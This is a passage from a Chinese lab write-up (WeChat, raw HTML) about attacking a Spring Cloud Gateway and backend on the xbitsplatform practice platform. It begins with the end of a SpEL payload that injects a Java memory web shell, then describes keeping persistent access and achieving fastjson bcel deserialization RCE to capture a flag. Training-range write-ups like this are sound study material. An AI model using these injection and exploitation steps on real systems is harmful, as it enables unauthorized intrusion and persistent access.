java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping,&#39;/gmem&#39;)}&#34;</code></pre><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">访问注册的接口，执行注入内存马的操作。再访问内存马注册的路由，已成功注册：</span></p><figure style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.23055555555555557" title="null" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=739b230c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794XmzpMALkjiadqOViadiaEOYnzksVFkJe9R2136VAWmLsAwJeWky01s5GE2NajltlSrLl8ETcuNgIYw%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">使用客户端进行连接，成功维持权限：</span></p><figure style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4027777777777778" title="null" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=491e4d22&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794XmzpMALkjiadqOViadiaEOYnHfDWDTjgPib0RDUpnQCtBZSSUJ6llyWV5bhUPKwibjqP1OliavdFkQ7kw%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17.6px;font-weight: bold;display: table;margin: 4em auto 2em;padding: 0px 0.2em;background: rgb(0, 152, 116);color: rgb(255, 255, 255);">攻击服务端</h2><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">在分布式架构中，CloudGateway仅仅是充当转发的角色，主要业务并不在这台机器上实现。在机器上进行一系列的信息搜集后，未发现有效信息。自然而然想到拿到服务端的所有接口，看是否能找到服务端接口的未授权等漏洞。拿到客户端源码进行反编译，这里遇到ju-gui的一个问题，直接反编译jar包少了一个类：</span></p><figure style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.2872137404580153" title="null" data-w="1048" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=dd55218c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794XmzpMALkjiadqOViadiaEOYnOjCN8YUQFAnBVbVV8I5g1VPWP6hcaNJ2uicibTfClVveSibO8L938kiaEg%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">而手工解包再反编译class就能获取正常情况：</span></p><figure style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.31203703703703706" title="null" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=cc9fdf61&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794XmzpMALkjiadqOViadiaEOYnzdHpdRVs2LR8lJHGWicZN14HBVPic3gtJ04ER5feCxk0tydx3b2Gaqgw%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">从上面的类我们发现了后台接口<a href="http://spring-cloud-service/login，传递的数据类型为json。从nacos我们可以获取spring-cloud-service的ip及端口：" target="_blank">http://spring-cloud-service/login，传递的数据类型为json。从nacos我们可以获取spring-cloud-service的ip及端口：</a></span></p><figure style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.21851851851851853" title="null" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=58d11df6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794XmzpMALkjiadqOViadiaEOYnEvO06tVtc7NPmMKvkDXKwia3vJt71OVRs7GAzSTLnahhibHf5ncEgYuQ%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">猜一猜后台接口参数，实战情况下客户端一般会存在一些结构体，可以构造出后端需要的参数。</span></p><figure style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3148148148148148" title="null" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=fbe889ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794XmzpMALkjiadqOViadiaEOYntjwdGg08D950n62gXAG1sicgtBhEOxBHshe9ml0xdRAJomLRvnanPLQ%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">看到这个功能点我们比较自然的会想到爆破、修改content-type为xml造成xxe、注入等漏洞。但这里我们发现客户端程序依赖存在fastjson，很有可能后台也存在fastjson。直接尝试从最老版本的fastjson开始利用，直接盲打：</span></p><figure style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3388888888888889" title="null" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=2e2babce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794XmzpMALkjiadqOViadiaEOYnGdzo6Ff5nwVfbFsu1GFeGwSt6zounYu44YEIvKg9gwCkQEHpBR1azg%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">请求未开放端口，发现长时间不响应，大概率存在漏洞。dns/http请求外网服务器并无响应，疑似不出网环境。</span></p><p style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">针对fastjson不出网环境，常见的利用一般为bcel或者c3p0,尝试bcel利用：</p><figure style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6407407407407407" title="null" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=052df644&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794XmzpMALkjiadqOViadiaEOYnic2WibaIeG29TGKibQQdmwicaz8IL4U8YAstQvtdzvrzzSFMCbtv8kRZIw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">直接成功执行了命令。在服务器根目录获取到了flag。</p><p style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">关于fastjson利用相关姿势：<a href="https://github.com/safe6Sec/Fastjson，原理相关的文章网上一搜就有一堆了。" target="_blank">https://github.com/safe6Sec/Fastjson，原理相关的文章网上一搜就有一堆了。</a></p><h2 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17.6px;font-weight: bold;display: table;margin: 4em auto 2em;padding: 0px 0.2em;background: rgb(0, 152, 116);color: rgb(255, 255, 255);">总结</h2><p style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">本文主要是熟悉一下简单的分布式架构会用的一些产品和框架，漏洞利用没有什么复杂的地方。主要包括从配置集中管理-&gt;前端-&gt;后端api的攻击流程，控制了后端实际业务功能服务器基本可以接触到数据或接触目标内网。</p><h2 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17.6px;font-weight: bold;display: table;margin: 4em auto 2em;padding: 0px 0.2em;background: rgb(0, 152, 116);color: rgb(255, 255, 255);">参考</h2><p style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://xz.aliyun.com/t/12313 " target="_blank">https://xz.aliyun.com/t/12313 </a></p><p style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://xz.aliyun.com/t/12313 " target="_blank">https://xz.aliyun.com/t/12313 </a></p><p style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://y4er.com/posts/fastjson-learn/ " target="_blank">https://y4er.com/posts/fastjson-learn/ </a></p><p style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://xz.aliyun.com/t/12492" target="_blank">https://xz.aliyun.com/t/12492</a> <a href="https://github.com/safe6Sec/Fastjson" target="_blank">https://github.com/safe6Sec/Fastjson</a></p><h2 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17.6px;font-weight: bold;display: table;margin: 4em auto 2em;padding: 0px 0.2em;background: rgb(0, 152, 116);color: rgb(255, 255, 255);">环境获取</h2><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">本挑战为xbitsplatform私有环境，平台测试地址为<span style="text-align:left;line-height:1.75;color:#576b95;">www.xbitsplatform.com</span> 。通过微信群或知识星球获取激活码获得使用资格。</p><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;">知识星球</h3><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="1.1893333333333334" title="null" data-type="png" data-w="750" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;width: 348px;height: 414px;" src="https://wechat2rss.xlab.app/img-proxy/?k=32519c4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5Kk8DWeWWZyojvpQIRESLPKpib3FHKhmPvxpc6vuu9zRxMAniaMf3tB7NoA%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;">团队其他文章</h3><p><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500440&amp;idx=1&amp;sn=138b43f66e7e4107b5a957712620d884&amp;chksm=c0e8a6caf79f2fdc7ec261842b089bdd1c22ab39d3393640a5c39bb9db991b210990e2b190a6&amp;scene=21#wechat_redirect" data-itemshowtype="0" data-linktype="2" style="font-size: 15px;"><span style="font-size: 15px;">域渗透-How2UseLdap</span></a><br/><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500331&amp;idx=1&amp;sn=4f2661ed53573844425739960cad6817&amp;chksm=c0e8a679f79f2f6f3be01c6bf78e62280700d1d1599d8c916f6d29b284a0b61bc8e55d9daa76&amp;scene=21#wechat_redirect" data-itemshowtype="0" data-linktype="2" style="font-size: 15px;"><span style="font-size: 15px;">域渗透-How2PwnACLs</span></a><br/><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500867&amp;idx=1&amp;sn=b0972455409f2c2f98c1078be18dc1fe&amp;chksm=c0e8a011f79f29074a1a75990cd9e4d2ace895b2dc8f8ec0f0f898514e0e38e9e9c9223ac62a&amp;scene=21#wechat_redirect" data-itemshowtype="0" style="font-size: 15px;" data-linktype="2"><span style="font-size: 15px;">域渗透-How2MoveLaterally</span></a></p><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;">了解更多关于xbitsplatform的信息：</h3><p><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499639&amp;idx=1&amp;sn=18afd245d529c8d74ac52a6cb62da68a&amp;chksm=c0e89b25f79f123389e8c3e781bd7f14a999ba3e731b8b1199d1161c1055d4f55bfad8155dcf&amp;scene=21#wechat_redirect" data-itemshowtype="0" data-linktype="2" style="font-size: 15px;"><span style="font-size: 15px;">xBitsPlatform公测版正式上线啦</span></a><br/><a target="_blank" 